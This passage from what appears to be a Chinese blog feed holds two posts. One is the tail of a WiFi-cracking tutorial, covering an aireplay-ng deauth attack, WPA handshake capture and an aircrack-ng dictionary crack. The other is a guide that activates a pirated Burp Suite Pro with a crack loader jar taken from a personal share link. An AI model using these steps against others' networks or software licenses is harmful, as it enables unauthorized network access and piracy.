<p data-start="2017" data-end="2043">执行后，连接 WiFi 的设备会被踢下线并重新连接</p>
<p data-start="2045" data-end="2065">重新连接时就会产生新的 <strong data-start="2057" data-end="2064">握手包 （也就是下面的这个红色框的 WPA 信息）</strong></p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/45/hex-3.png" alt="" width="2132" height="559" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/45/responsive/hex-3-xs.webp 320w ,https://old.zeyun.org/media/posts/45/responsive/hex-3-sm.webp 480w ,https://old.zeyun.org/media/posts/45/responsive/hex-3-md.webp 768w ,https://old.zeyun.org/media/posts/45/responsive/hex-3-xl.webp 1024w"></figure>
<p data-start="2067" data-end="2084">当抓到握手包后，可以在抓包终端按<code> Ctrl + C </code>结束</p>
<p data-start="2067" data-end="2084">如果以上的步骤还是不行，那就直接使用你的手机，断开并重新连接到这个WiFi（这样做100%成功，因为攻击的目的是让手机被动的下线在重连）</p>
<h6>参数解释：</h6>
<table>
<thead>
<tr>
<th>参数</th>
<th>作用</th>
</tr>
</thead>
<tbody>
<tr>
<td>-0</td>
<td>deauth攻击</td>
</tr>
<tr>
<td>10</td>
<td>攻击次数</td>
</tr>
<tr>
<td>-a</td>
<td>目标MAC</td>
</tr>
</tbody>
</table>
<h6>原理解释</h6>
<p>在 <code data-start="931" data-end="944">airodump-ng</code> 界面下方会显示 <strong data-start="953" data-end="964">STATION</strong> 列表，这里是已经连接到该 WiFi 的设备 MAC 地址<br data-start="994" data-end="997">在使用 <code data-start="1003" data-end="1016">aireplay-ng</code> 发送 deauth 时，可以把其中一个设备的 MAC 填入 <code data-start="1047" data-end="1051">-c</code> 参数，用于强制该设备断开并重新连接 WiFi，从而触发新的握手包</p>
<p>此时目录下会生成类似文件（如下图所示）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/45/wificap.png" alt="" width="1279" height="946" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/45/responsive/wificap-xs.webp 320w ,https://old.zeyun.org/media/posts/45/responsive/wificap-sm.webp 480w ,https://old.zeyun.org/media/posts/45/responsive/wificap-md.webp 768w ,https://old.zeyun.org/media/posts/45/responsive/wificap-xl.webp 1024w"></figure>
<h6>stp3:开始字典破解</h6>
<p>在这里打开终端</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/45/Ping-Mu-Jie-Tu-2026-03-15-000149.png" alt="" width="1292" height="977" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-15-000149-xs.webp 320w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-15-000149-sm.webp 480w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-15-000149-md.webp 768w ,https://old.zeyun.org/media/posts/45/responsive/Ping-Mu-Jie-Tu-2026-03-15-000149-xl.webp 1024w"></figure>
<p>接下来使用 <strong data-start="2175" data-end="2190">aircrack-ng</strong> 进行密码破解，命令如下</p>
<pre class="language-bash line-numbers"><code>sudo aircrack-ng -w /home/kali/桌面/wifi_test/password.txt -b 此处换成刚刚获取的BSSID handshake-01.cap</code></pre>
<p>提示：如果你前面的e失败次数较多，那么大概率会有handshake-02.cap这样的包，最终只要选对了正确的包即可</p>
<h6>参数解释：</h6>
<table style="width: 100%; height: 133.484px;">
<thead>
<tr style="height: 48.5625px;">
<th style="width: 29.8734%; height: 48.5625px;">参数</th>
<th style="width: 69.9842%; height: 48.5625px;">作用</th>
</tr>
</thead>
<tbody>
<tr style="height: 48.5625px;">
<td style="width: 29.8734%; height: 48.5625px;">-w</td>
<td style="width: 69.9842%; height: 48.5625px;">密码字典</td>
</tr>
<tr style="height: 36.3594px;">
<td style="width: 29.8734%; height: 36.3594px;">
<p>-b</p>
</td>
<td style="width: 69.9842%; height: 36.3594px;">目标WiFi BSSID</td>
</tr>
</tbody>
</table>
<p>之后，程序会不断尝试字典中的密码，直至成功</p>
<p>成功后的画面如下（正真的密码我打马赛克了，所以是文字的形式显示的）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/45/mima.png" alt="" width="2135" height="1016" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/45/responsive/mima-xs.webp 320w ,https://old.zeyun.org/media/posts/45/responsive/mima-sm.webp 480w ,https://old.zeyun.org/media/posts/45/responsive/mima-md.webp 768w ,https://old.zeyun.org/media/posts/45/responsive/mima-xl.webp 1024w"></figure>
<p>由于之前的WiFi密码已经包含在内了，所以我这里的速度会很快</p>
<p class="align-center">至此，本实验到此结束</p>
            ]]>
        </content>
    </entry>
    <entry>
        <title>安装Burp Suite</title>
        <author>
            <name>云泽</name>
        </author>
        <link href="https://old.zeyun.org/install_burpsuite.html"/>
        <id>https://old.zeyun.org/install_burpsuite.html</id>
            <category term="网络工具介绍"/>

        <updated>2026-03-11T21:35:30+09:00</updated>
            <summary>
                <![CDATA[
                    在Windows上安装 文件下载：点我下载（NAS分享链接，若无法下载，请联系作者：zeyun4699@gmail.com） 文件说明：old文件夹中含老版本的burp suite（为windows7老系统准备的），正常按照我下面的说明，win10/11的安装最新版的即可（这里我使用window11来进行演示） 必要下载文件：除了old文件夹里面的不用下载，其他的4个文件都需要下载，缺一不可&hellip;
                ]]>
            </summary>
        <content type="html">
            <![CDATA[
                <h2>在Windows上安装</h2>
<p>文件下载：<a href="https://ivostation.dpdns.org:8443/s/7b5eb1aaa9f04dbabf" target="_blank" rel="noopener noreferrer">点我下载</a>（NAS分享链接，若无法下载，请联系作者：zeyun4699@gmail.com）</p>
<h5>步骤一：下载来自我上传的文件（你会得到步骤二的图片中的几个文件）</h5>
<p>文件说明：old文件夹中含老版本的burp suite（为windows7老系统准备的），正常按照我下面的说明，win10/11的安装最新版的即可（这里我使用window11来进行演示）</p>
<p>必要下载文件：除了old文件夹里面的不用下载，其他的4个文件都需要下载，缺一不可</p>
<h5>步骤二：双击此文件，安装Java坏境</h5>
<h6>因为我提供的这个burp suite的版本较新，所以这个需要高版本的Java</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/bpjava-2.png" alt="" width="1389" height="399" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/bpjava-2-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/bpjava-2-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/bpjava-2-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/bpjava-2-xl.webp 1024w"></figure>
<h5>步骤三：开始安装</h5>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-03-11-170853.png" alt="" width="987" height="746" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-170853-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-170853-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-170853-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-170853-xl.webp 1024w"></figure>
<h6>点击继续（选择文件位置，这里我建议可以更换一个自己记得住的路径）</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-03-11-170953.png" alt="" width="1001" height="759" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-170953-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-170953-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-170953-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-170953-xl.webp 1024w"></figure>
<h6>完成安装（这里点击关闭即可）</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-03-11-171049.png" alt="" width="1001" height="759" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-171049-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-171049-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-171049-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-171049-xl.webp 1024w"></figure>
<h5>步骤四：配置坏境变量</h5>
<h6>依次打开：设置，系统，系统信息，高级系统设置</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/javaDe-Huan-Jing-Bian-Liang.png" alt="" width="2879" height="1700" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/javaDe-Huan-Jing-Bian-Liang-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/javaDe-Huan-Jing-Bian-Liang-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/javaDe-Huan-Jing-Bian-Liang-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/javaDe-Huan-Jing-Bian-Liang-xl.webp 1024w"></figure>
<h6>选择环境变量选项</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Pi-Jing-Bian-Liang-1.png" alt="" width="956" height="1094" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Pi-Jing-Bian-Liang-1-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Pi-Jing-Bian-Liang-1-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Pi-Jing-Bian-Liang-1-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Pi-Jing-Bian-Liang-1-xl.webp 1024w"></figure>
<h6>依次选择下面图片中的选项</h6>
<p><code>*注意</code>：这里的变量名，建议固定为<strong> <code>JAVA_HOME</code></strong>（不是必须，但强烈推荐，可以为后续省去很多不必要的麻烦）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/javaBian-Liang-Pei-Zhi.png" alt="" width="2880" height="1704" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/javaBian-Liang-Pei-Zhi-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/javaBian-Liang-Pei-Zhi-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/javaBian-Liang-Pei-Zhi-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/javaBian-Liang-Pei-Zhi-xl.webp 1024w"></figure>
<p>最后全部选择“确定”选项</p>
<h5>步骤五：配置用户环境变量</h5>
<h6>按照如下步骤来就行，不要跳步（如果你前面的名称和我一样，那就按照我图片的步骤来即可）</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Huan-Jing-Bian-Liang-2.png" alt="" width="2879" height="1703" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Huan-Jing-Bian-Liang-2-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Huan-Jing-Bian-Liang-2-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Huan-Jing-Bian-Liang-2-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Huan-Jing-Bian-Liang-2-xl.webp 1024w"></figure>
<h6>将这个环境变量移动至顶部</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/javaWei-Zhi.png" alt="" width="2879" height="1707" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/javaWei-Zhi-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/javaWei-Zhi-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/javaWei-Zhi-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/javaWei-Zhi-xl.webp 1024w"></figure>
<h6>不出意外的话，你配置完，在终端中输入，会显示下图的这个界面</h6>
<pre class="language-bash line-numbers"><code>javac</code></pre>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-03-11-195757.png" alt="" width="2350" height="1225" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-195757-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-195757-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-195757-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-195757-xl.webp 1024w"></figure>
<p>至此，坏境变量部分即为配置成功</p>
<h5>步骤七：开始安装Burp suite</h5>
<h6>确认下载的这个ini文件数据是否都为0，如果不是，请手动都改成0</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-04-16-232019.png" alt="" width="578" height="263" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-232019-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-232019-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-232019-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-232019-xl.webp 1024w"></figure>
<h6>在此文件夹中，打开CMD窗口（<code>*注意</code>：后续的激活中，这个CMD命令窗口不要关闭！）</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Lu-Jing.png" alt="" width="2226" height="670" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Lu-Jing-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Lu-Jing-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Lu-Jing-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Lu-Jing-xl.webp 1024w"></figure>
<h6>在打开的这个CMD窗口中输入以下命令，回车，会打开一个burp suite破解插件的窗口</h6>
<pre class="language-bash line-numbers"><code>java -jar burploader.jar</code></pre>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-04-16-232542-2.png" alt="" width="1047" height="209" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-232542-2-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-232542-2-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-232542-2-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-232542-2-xl.webp 1024w"></figure>
<h6>勾选第二个，并点击“RUN”</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Po-Jie-1.png" alt="" width="1566" height="977" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Po-Jie-1-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Po-Jie-1-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Po-Jie-1-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Po-Jie-1-xl.webp 1024w"></figure>
<h6>如果不出意外，你会自动打开burp suit的界面（如下图所示）</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-03-11-200735.png" alt="" width="996" height="861" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-200735-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-200735-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-200735-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-200735-xl.webp 1024w"></figure>
<p>如果你要是打不开这个窗口，那么就再次在这个文件夹中打开一个新的CMD窗口（<code>*注意</code>：之前打开的CMD窗口不要关掉！）</p>
<h6>输入以下命令，使用终端打开软件</h6>
<pre class="language-batch line-numbers"><code>java -jar burpsuite_pro_v2025.9.5.jar</code></pre>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-04-16-233322.png" alt="" width="1189" height="214" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-233322-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-233322-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-233322-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-233322-xl.webp 1024w"></figure>
<p>使用CMD命令，也是同样的效果，需要确保两个软件都打开（一个破解的插件，另一个是burp suite软件本体）再进行下一步的操作</p>
<h6>将左侧的文本复制，粘贴到右侧，随后点击<code>NEXT</code></h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-04-16-233958.png" alt="" width="2618" height="1048" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-233958-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-233958-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-233958-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-233958-xl.webp 1024w"></figure>
<h6>接下来的步骤中，选择“手动激活”选项</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Ji-Huo-2.png" alt="" width="883" height="797" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Ji-Huo-2-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ji-Huo-2-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ji-Huo-2-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ji-Huo-2-xl.webp 1024w"></figure>
<h6>继续按照以下步骤操作</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/then.png" alt="" width="2879" height="1701" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/then-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/then-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/then-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/then-xl.webp 1024w"></figure>
<h6>粘贴完成之后，再次点击<code>NEXT</code>，即可看到激活成功（如下图所示）</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-03-11-211046.png" alt="" width="996" height="861" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-211046-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-211046-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-211046-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-211046-xl.webp 1024w"></figure>
<p>最后点击<code>Finish</code>结束安装即可</p>
<h6>关掉这个窗口之前，请把第一个勾打上（两个都打开也没事）</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Xuan-Xiang-1.png" alt="" width="1562" height="981" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Xuan-Xiang-1-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Xuan-Xiang-1-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Xuan-Xiang-1-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Xuan-Xiang-1-xl.webp 1024w"></figure>
<h5>步骤八：后续的准备</h5>
<h6>可以创建一个快捷方式来打开这个软件</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Hou-Xu.png" alt="" width="1426" height="867" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Hou-Xu-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Hou-Xu-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Hou-Xu-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Hou-Xu-xl.webp 1024w"></figure>
<p>或者你也可以写一个脚本，来运行这个软件，效果都一样</p>
<h5>步骤九：下载证书</h5>
<p>按照下图的步骤配置即可</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/proxyzdal.png" alt="" width="2879" height="1706" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/proxyzdal-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/proxyzdal-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/proxyzdal-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/proxyzdal-xl.webp 1024w"></figure>
<p>选择下图的框选区域</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/select1.png" alt="" width="996" height="861" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/select1-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/select1-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/select1-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/select1-xl.webp 1024w"></figure>
<p>命名要求必须为<code>.der</code>结尾</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/selext.png" alt="" width="1578" height="1189" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/selext-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/selext-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/selext-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/selext-xl.webp 1024w"></figure>
<p>点击保存即可（下图是我的路径，可供参考）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-03-11-212640.png" alt="" width="996" height="861" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-212640-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-212640-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-212640-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-212640-xl.webp 1024w"></figure>
<h5>步骤十：配置证书</h5>
<h6>打开浏览器，搜索<code>证书</code>（这里我以最普遍的Edge浏览器来示范，其他的浏览器也是同理）</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-03-11-212903.png" alt="" width="2879" height="1618" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-212903-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-212903-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-212903-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-212903-xl.webp 1024w"></figure>
<h6>打开这个依次打开如下的选项</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Zheng-Shu-1.png" alt="" width="2879" height="1614" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-1-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-1-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-1-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-1-xl.webp 1024w"></figure>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Zheng-Shu-2.png" alt="" width="2879" height="1619" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-2-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-2-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-2-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-2-xl.webp 1024w"></figure>
<h6>选自刚刚保存的证书路径，找到证书</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Zheng-Shu-3.png" alt="" width="2850" height="1622" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-3-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-3-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-3-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-3-xl.webp 1024w"></figure>
<p>中间证书配置也是如此（和上面的步骤一致，我就不再演示了）</p>
<h6>配置好后如下图所示</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-03-11-214139.png" alt="" width="2879" height="1626" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-214139-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-214139-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-214139-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-214139-xl.webp 1024w"></figure>
<h5>步骤十一：安装浏览器拓展（强烈建议安装这款管理插件，很方便）</h5>
<h6>安装浏览器拓展： <code>proxy switchyomega</code></h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Tuo-Zhan.png" alt="" width="2879" height="1615" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Tuo-Zhan-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Tuo-Zhan-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Tuo-Zhan-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Tuo-Zhan-xl.webp 1024w"></figure>
<p>点击右上角的“拼图”，打开拓展（可以固定到这里，方便开关）</p>
<h6>按照下图步骤配置插件</h6>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/omg.png" alt="" width="2879" height="1612" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/omg-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/omg-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/omg-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/omg-xl.webp 1024w"></figure>
<h6>继续按照下图，来进行配置</h6>
